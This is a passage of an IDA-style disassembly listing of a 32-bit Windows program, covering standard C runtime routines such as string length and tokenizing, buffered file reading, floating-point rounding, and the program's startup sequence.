		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_403D75
		test	dl, dl
		jz	short loc_403DC9
		test	dh, dh
		jz	short loc_403DBF
		test	edx, 0FF0000h
		jz	short loc_403DB5
		test	edx, 0FF000000h
		jnz	short loc_403D75
		mov	[edi], edx
		jmp	short loc_403DCD
; ---------------------------------------------------------------------------

loc_403DB5:				; CODE XREF: sub_403CD0+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_403DCD
; ---------------------------------------------------------------------------

loc_403DBF:				; CODE XREF: sub_403CD0+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_403DCD
; ---------------------------------------------------------------------------

loc_403DC9:				; CODE XREF: sub_403CD0+CBj
		xor	edx, edx
		mov	[edi], edx

loc_403DCD:				; CODE XREF: sub_403CD0+E3j
					; sub_403CD0+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_403DE3

loc_403DD7:				; CODE XREF: sub_403CD0+91j
		xor	eax, eax

loc_403DD9:				; CODE XREF: sub_403CD0+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_403DD9

loc_403DE3:				; CODE XREF: sub_403CD0+105j
		and	ebx, 3
		jnz	loc_403D63

loc_403DEC:				; CODE XREF: sub_403CD0+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_403CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF4	proc near		; CODE XREF: sub_417E66+1Dp
					; sub_417E66+5Ap ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_2C], eax
		call	sub_40574D
		push	8
		pop	ecx
		mov	[ebp+var_28], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi

loc_403E25:				; CODE XREF: sub_403DF4+4Aj
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_403E25
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_403E54
		mov	eax, [ebp+var_28]
		mov	edx, [eax+18h]
		jmp	short loc_403E54
; ---------------------------------------------------------------------------

loc_403E4F:				; CODE XREF: sub_403DF4+77j
		test	al, al
		jz	short loc_403E6D
		inc	edx

loc_403E54:				; CODE XREF: sub_403DF4+51j
					; sub_403DF4+59j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_403E4F

loc_403E6D:				; CODE XREF: sub_403DF4+5Dj
		mov	ebx, edx
		jmp	short loc_403E89
; ---------------------------------------------------------------------------

loc_403E71:				; CODE XREF: sub_403DF4+98j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_403E90
		inc	edx

loc_403E89:				; CODE XREF: sub_403DF4+7Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_403E71
		jmp	short loc_403E94
; ---------------------------------------------------------------------------

loc_403E90:				; CODE XREF: sub_403DF4+92j
		mov	byte ptr [edx],	0
		inc	edx

loc_403E94:				; CODE XREF: sub_403DF4+9Aj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, ebx
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_403DF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403EB3	proc near		; CODE XREF: sub_41B981+70p
					; sub_41B981+160p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_403EDA
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_403EB3+9j
		mov	eax, [eax+0Ch]
		and	eax, 10h
		pop	esi
		retn
sub_403EB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EE2	proc near		; CODE XREF: sub_404078+A1p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		jz	loc_404032
		cmp	[ebp+arg_C], 0
		jz	loc_404032
		imul	edi, [ebp+arg_C]
		mov	esi, [ebp+arg_10]
		test	word ptr [esi+0Ch], 10Ch
		mov	[ebp+var_10], edi
		mov	ebx, edi
		jz	short loc_403F28
		mov	eax, [esi+18h]
		mov	[ebp+var_C], eax
		jmp	short loc_403F2F
; ---------------------------------------------------------------------------

loc_403F28:				; CODE XREF: sub_403EE2+3Cj
		mov	[ebp+var_C], 1000h

loc_403F2F:				; CODE XREF: sub_403EE2+44j
		test	edi, edi
		jz	loc_403FFE

loc_403F37:				; CODE XREF: sub_403EE2+116j
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_403F80
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_403F80
		jl	loc_404063
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_403F54
		mov	edi, eax

loc_403F54:				; CODE XREF: sub_403EE2+6Ej
		cmp	edi, [ebp+var_4]
		ja	loc_404003
		push	edi
		push	dword ptr [esi]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_403332
		sub	[esi+4], edi
		add	[esi], edi
		add	[ebp+var_8], edi
		sub	ebx, edi
		add	esp, 10h
		sub	[ebp+var_4], edi
		mov	edi, [ebp+var_10]
		jmp	short loc_403FF6
; ---------------------------------------------------------------------------

loc_403F80:				; CODE XREF: sub_403EE2+5Bj
					; sub_403EE2+62j
		cmp	ebx, [ebp+var_C]
		jb	short loc_403FCE
		cmp	[ebp+var_C], 0
		mov	eax, ebx
		jz	short loc_403F96
		xor	edx, edx
		div	[ebp+var_C]
		mov	eax, ebx
		sub	eax, edx

loc_403F96:				; CODE XREF: sub_403EE2+A9j
		cmp	eax, [ebp+var_4]
		ja	loc_404039
		push	eax
		push	[ebp+var_8]
		push	esi
		call	sub_408DD0
		pop	ecx
		push	eax
		call	sub_40A6FF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_404072
		cmp	eax, 0FFFFFFFFh
		jz	loc_404063
		add	[ebp+var_8], eax
		sub	ebx, eax
		sub	[ebp+var_4], eax
		jmp	short loc_403FF6
; ---------------------------------------------------------------------------

loc_403FCE:				; CODE XREF: sub_403EE2+A1j
		push	esi
		call	sub_40A03D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_404067
		cmp	[ebp+var_4], 0
		jz	short loc_404039
		mov	ecx, [ebp+var_8]
		inc	[ebp+var_8]
		mov	[ecx], al
		mov	eax, [esi+18h]
		dec	ebx
		dec	[ebp+var_4]
		mov	[ebp+var_C], eax

loc_403FF6:				; CODE XREF: sub_403EE2+9Cj
					; sub_403EE2+EAj
		test	ebx, ebx
		jnz	loc_403F37

loc_403FFE:				; CODE XREF: sub_403EE2+4Fj
		mov	eax, [ebp+arg_C]
		jmp	short loc_404034
; ---------------------------------------------------------------------------

loc_404003:				; CODE XREF: sub_403EE2+75j
		xor	esi, esi
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40401A
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_407F20
		add	esp, 0Ch

loc_40401A:				; CODE XREF: sub_403EE2+127j
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 22h
		push	esi

loc_40402A:				; CODE XREF: sub_403EE2+17Fj
		call	sub_4032F9
		add	esp, 14h

loc_404032:				; CODE XREF: sub_403EE2+1Aj
					; sub_403EE2+24j
		xor	eax, eax

loc_404034:				; CODE XREF: sub_403EE2+11Fj
					; sub_403EE2+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_404039:				; CODE XREF: sub_403EE2+B7j
					; sub_403EE2+100j
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_40404F
		push	[ebp+arg_4]
		push	0
		push	[ebp+arg_0]
		call	sub_407F20
		add	esp, 0Ch

loc_40404F:				; CODE XREF: sub_403EE2+15Bj
		call	sub_405B83
		mov	dword ptr [eax], 22h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	short loc_40402A
; ---------------------------------------------------------------------------

loc_404063:				; CODE XREF: sub_403EE2+64j
					; sub_403EE2+DCj
		or	dword ptr [esi+0Ch], 20h

loc_404067:				; CODE XREF: sub_403EE2+F6j
					; sub_403EE2+194j
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_8]
		jmp	short loc_404034
; ---------------------------------------------------------------------------

loc_404072:				; CODE XREF: sub_403EE2+D3j
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_404067
sub_403EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404078	proc near		; CODE XREF: sub_40413F+12p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	0Ch
		push	offset dword_4216F8
		call	__SEH_prolog4
		xor	esi, esi
		mov	[ebp+var_1C], esi
		mov	ebx, [ebp+arg_8]
		cmp	ebx, esi
		jz	short loc_4040BB
		mov	edi, [ebp+arg_C]
		cmp	edi, esi
		jz	short loc_4040BB
		xor	eax, eax
		cmp	[ebp+arg_0], esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_4040C3

loc_4040A3:				; CODE XREF: sub_404078+7Aj
					; sub_404078+88j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_4032F9
		add	esp, 14h

loc_4040BB:				; CODE XREF: sub_404078+16j
					; sub_404078+1Dj
		xor	eax, eax

loc_4040BD:				; CODE XREF: sub_404078+BBj
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_4040C3:				; CODE XREF: sub_404078+29j
		cmp	[ebp+arg_10], esi
		jz	short loc_4040D3
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	edi, eax
		jbe	short loc_404102

loc_4040D3:				; CODE XREF: sub_404078+4Ej
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_4040E8
		push	[ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_407F20
		add	esp, 0Ch

loc_4040E8:				; CODE XREF: sub_404078+5Fj
		xor	eax, eax
		cmp	[ebp+arg_10], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_4040A3
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ebx
		cmp	eax, edi
		sbb	eax, eax
		inc	eax
		jz	short loc_4040A3

loc_404102:				; CODE XREF: sub_404078+59j
		push	[ebp+arg_10]
		call	sub_40850B
		pop	ecx
		mov	[ebp+ms_exc.disabled], esi
		push	[ebp+arg_10]
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403EE2
		add	esp, 14h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_404135
		mov	eax, [ebp+var_1C]
		jmp	short loc_4040BD
sub_404078	endp


; =============== S U B	R O U T	I N E =======================================



sub_404135	proc near		; CODE XREF: sub_404078+B3p
					; DATA XREF: c.7ld2ih:00421710o
		push	dword ptr [ebp+18h]
		call	sub_40855D
		pop	ecx
		retn
sub_404135	endp


; =============== S U B	R O U T	I N E =======================================



sub_40413F	proc near		; CODE XREF: sub_41B981+D6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	0FFFFFFFFh
		push	[esp+10h+arg_0]
		call	sub_404078
		add	esp, 14h
		retn
sub_40413F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40415A	proc near		; CODE XREF: sub_40416Bj
					; sub_410661+35p

arg_0		= dword	ptr  4

		push	0Ah
		push	0
		push	[esp+8+arg_0]
		call	sub_40AA06
		add	esp, 0Ch
		retn
sub_40415A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40416B	proc near		; CODE XREF: sub_401E4A+9Dp
					; sub_401E4A+ACp ...
		jmp	sub_40415A
sub_40416B	endp


; =============== S U B	R O U T	I N E =======================================



sub_404170	proc near		; CODE XREF: sub_41AFA7+586p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_4356DC, 0
		jz	sub_40ACF3
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_4041A4
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh

loc_4041A4:				; CODE XREF: sub_404170+23j
		lea	esp, [esp+8]
		jnz	sub_40ACF3
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	ds:oword_41D3B0
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_41D3D0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jz	short loc_404232
		cmp	eax, 0BFFh
		jl	short loc_40426A
		psllq	xmm1, xmm2
		cmp	eax, 0C32h
		jg	short loc_404203
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_404203:				; CODE XREF: sub_404170+86j
					; sub_404170+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_40422D
		mov	edx, 3ECh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_40AA2F
		add	esp, 10h

loc_40422D:				; CODE XREF: sub_404170+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_404232:				; CODE XREF: sub_404170+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 6
		cmp	eax, 3FFh
		jl	short loc_404271
		cmp	eax, 432h
		jg	short loc_404203
		andpd	xmm0, oword ptr	ds:oword_41D3A0
		addsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_40426A:				; CODE XREF: sub_404170+7Bj
		fld	ds:dbl_41D3E0
		retn
; ---------------------------------------------------------------------------

loc_404271:				; CODE XREF: sub_404170+DAj
		cmppd	xmm3, oword ptr	ds:oword_41D3C0, 6
		andpd	xmm3, oword ptr	ds:oword_41D3A0
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_404170	endp


; =============== S U B	R O U T	I N E =======================================



sub_40428D	proc near		; CODE XREF: .text:00404332p
					; .text:004043CFp ...

arg_0		= dword	ptr  4

		cmp	dword_4274DC, 1
		jnz	short loc_40429B
		call	sub_40A004

loc_40429B:				; CODE XREF: sub_40428D+7j
		push	[esp+arg_0]
		call	sub_409E64
		push	0FFh
		call	sub_407C57
		pop	ecx
		pop	ecx
		retn
sub_40428D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4042B1	proc near		; CODE XREF: .text:004043B7p
		cmp	word ptr ds:400000h, 5A4Dh
		jnz	short loc_4042EF
		mov	eax, ds:40003Ch
		cmp	dword ptr [eax+400000h], 4550h
		jnz	short loc_4042EF
		cmp	word ptr [eax+400018h],	10Bh
		jnz	short loc_4042EF
		cmp	dword ptr [eax+400074h], 0Eh
		jbe	short loc_4042EF
		xor	ecx, ecx
		cmp	[eax+4000E8h], ecx
		setnz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_4042EF:				; CODE XREF: sub_4042B1+9j
					; sub_4042B1+1Aj ...
		xor	eax, eax
		retn
sub_4042B1	endp

; ---------------------------------------------------------------------------

loc_4042F2:				; CODE XREF: .text:004044D7j
		push	60h
		push	offset dword_421718
		call	__SEH_prolog4
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-70h]
		push	eax
		call	ds:off_41D1A8
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	edi, 94h
		push	edi
		push	0
		mov	ebx, ds:dword_41D0FC
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41D110	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40433D
		push	12h
		call	sub_40428D
		pop	ecx
		jmp	loc_4044C7
; ---------------------------------------------------------------------------

loc_40433D:				; CODE XREF: .text:0040432Ej
		mov	[esi], edi
		push	esi
		call	ds:dword_41D068	; GetVersionExA
		push	esi
		push	0
		test	eax, eax
		jnz	short loc_40435B
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41D108	; RtlFreeHeap
		jmp	loc_4044C7
; ---------------------------------------------------------------------------

loc_40435B:				; CODE XREF: .text:0040434Bj
		mov	eax, [esi+10h]
		mov	[ebp-20h], eax
		mov	eax, [esi+4]
		mov	[ebp-24h], eax
		mov	eax, [esi+8]
		mov	[ebp-28h], eax
		mov	edi, [esi+0Ch]
		and	edi, 7FFFh
		call	ebx	; GetProcessHeap
		push	eax
		call	ds:dword_41D108	; RtlFreeHeap
		mov	esi, [ebp-20h]
		cmp	esi, 2
		jz	short loc_40438D
		or	edi, 8000h

loc_40438D:				; CODE XREF: .text:00404385j
		mov	ecx, [ebp-24h]
		mov	eax, ecx
		shl	eax, 8
		mov	edx, [ebp-28h]
		add	eax, edx
		mov	dword_4279B8, esi
		mov	dword_4279C0, eax
		mov	dword_4279C4, ecx
		mov	dword_4279C8, edx
		mov	dword_4279BC, edi
		call	sub_4042B1
		mov	[ebp-20h], eax
		xor	ebx, ebx
		inc	ebx
		push	ebx
		call	sub_405E33
		pop	ecx
		test	eax, eax
		jnz	short loc_4043D5
		push	1Ch
		call	sub_40428D
		pop	ecx

loc_4043D5:				; CODE XREF: .text:004043CBj
		call	sub_405886
		test	eax, eax
		jnz	short loc_4043E6
		push	10h
		call	sub_40428D
		pop	ecx

loc_4043E6:				; CODE XREF: .text:004043DCj
		call	sub_40B3F1
		mov	[ebp-4], ebx
		call	sub_408B90
		test	eax, eax
		jge	short loc_4043FF
		push	1Bh
		call	sub_407C0D
		pop	ecx

loc_4043FF:				; CODE XREF: .text:004043F5j
		call	ds:off_41D1A4
		mov	dword_436858, eax
		call	sub_40B2BC
		mov	dword_4274D4, eax
		call	sub_40B203
		test	eax, eax
		jge	short loc_404425
		push	8
		call	sub_407C0D
		pop	ecx

loc_404425:				; CODE XREF: .text:0040441Bj
		call	sub_40AF90
		test	eax, eax
		jge	short loc_404436
		push	9
		call	sub_407C0D
		pop	ecx

loc_404436:				; CODE XREF: .text:0040442Cj
		push	ebx
		call	sub_407D29
		pop	ecx
		test	eax, eax
		jz	short loc_404448
		push	eax
		call	sub_407C0D
		pop	ecx

loc_404448:				; CODE XREF: .text:0040443Fj
		call	sub_40AF33
		test	[ebp-44h], bl
		jz	short loc_404458
		movzx	ecx, word ptr [ebp-40h]
		jmp	short loc_40445B
; ---------------------------------------------------------------------------

loc_404458:				; CODE XREF: .text:00404450j
		push	0Ah
		pop	ecx

loc_40445B:				; CODE XREF: .text:00404456j
		push	ecx
		push	eax
		push	0
		push	400000h
		call	sub_41C28D
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_404478
		push	eax
		call	sub_407E89

loc_404478:				; CODE XREF: .text:00404470j
		call	sub_407EAB
		jmp	short loc_4044AD
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-2Ch], ecx
		push	eax
		push	ecx
		call	sub_40ADC4
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	eax, [ebp-2Ch]
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-20h], 0
		jnz	short loc_4044A8
		push	eax
		call	sub_407E9A

loc_4044A8:				; CODE XREF: .text:004044A0j
		call	sub_407EBA

loc_4044AD:				; CODE XREF: .text:0040447Dj
		mov	dword ptr [ebp-4], 0FFFFFFFEh
		mov	eax, [ebp-1Ch]
		jmp	short loc_4044CC
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFEh

loc_4044C7:				; CODE XREF: .text:00404338j
					; .text:00404356j
		mov	eax, 0FFh

loc_4044CC:				; CODE XREF: .text:004044B7j
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------

loc_4044D2:				; CODE XREF: dviuq5id:00440968j
		call	sub_40B439
		jmp	loc_4042F2
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4044E0	proc near		; CODE XREF: sub_402FCC+16p
					; sub_403032+21p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_404510

loc_4044EC:				; CODE XREF: sub_4044E0+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_404543
		test	ecx, 3
		jnz	short loc_4044EC
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_404510:				; CODE XREF: sub_4044E0+Aj
					; sub_4044E0+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_404510
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_404561
		test	ah, ah
		jz	short loc_404557
		test	eax, 0FF0000h
		jz	short loc_40454D
		test	eax, 0FF000000h
		jz	short loc_404543
		jmp	short loc_404510
; ---------------------------------------------------------------------------

loc_404543:				; CODE XREF: sub_4044E0+13j
					; sub_4044E0+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40454D:				; CODE XREF: sub_4044E0+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_404557:				; CODE XREF: sub_4044E0+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_404561:				; CODE XREF: sub_4044E0+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4044E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40456B	proc near		; CODE XREF: sub_40121E+58p
					; sub_40150F+Fp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_41D3E8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		test	eax, eax
		pop	edi
		mov	[ebp+var_4], eax
		pop	esi
		jz	short loc_40459E
		test	byte ptr [eax],	8
		jz	short loc_40459E
		mov	[ebp+var_C], 1994000h

loc_40459E:				; CODE XREF: sub_40456B+25j
					; sub_40456B+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:off_41D1AC
		leave
		retn	8
sub_40456B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B5	proc near		; CODE XREF: sub_40BC58+65p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	ebp, [ebp+var_4]
		mov	esp, [ebx-4]
		jmp	eax
sub_4045B5	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4045E5	proc near		; CODE XREF: sub_40B771+31p
					; sub_40BBC7+59p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4045E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045EC	proc near		; CODE XREF: sub_404779+69p
					; sub_40BC58:loc_40BC80p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_404615
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_413D26

loc_404615:				; DATA XREF: sub_4045EC+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4045EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40463E	proc near		; CODE XREF: .text:0041C8B9j
					; .text:0041C8D4j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C124
		add	esp, 20h
		mov	[ebp+var_8], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_40463E	endp

; ---------------------------------------------------------------------------

loc_404674:				; DATA XREF: sub_40491E+24o
		push	esi
		cld
		mov	esi, [esp+0Ch]
		mov	ecx, [esi+8]
		xor	ecx, esi
		call	sub_402AD0
		push	0
		push	esi
		push	dword ptr [esi+14h]
		push	dword ptr [esi+0Ch]
		push	0
		push	dword ptr [esp+24h]
		push	dword ptr [esi+10h]
		push	dword ptr [esp+24h]
		call	sub_40C124
		add	esp, 20h
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046A4	proc near		; CODE XREF: sub_404779+81p
					; sub_40BCC4+53p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
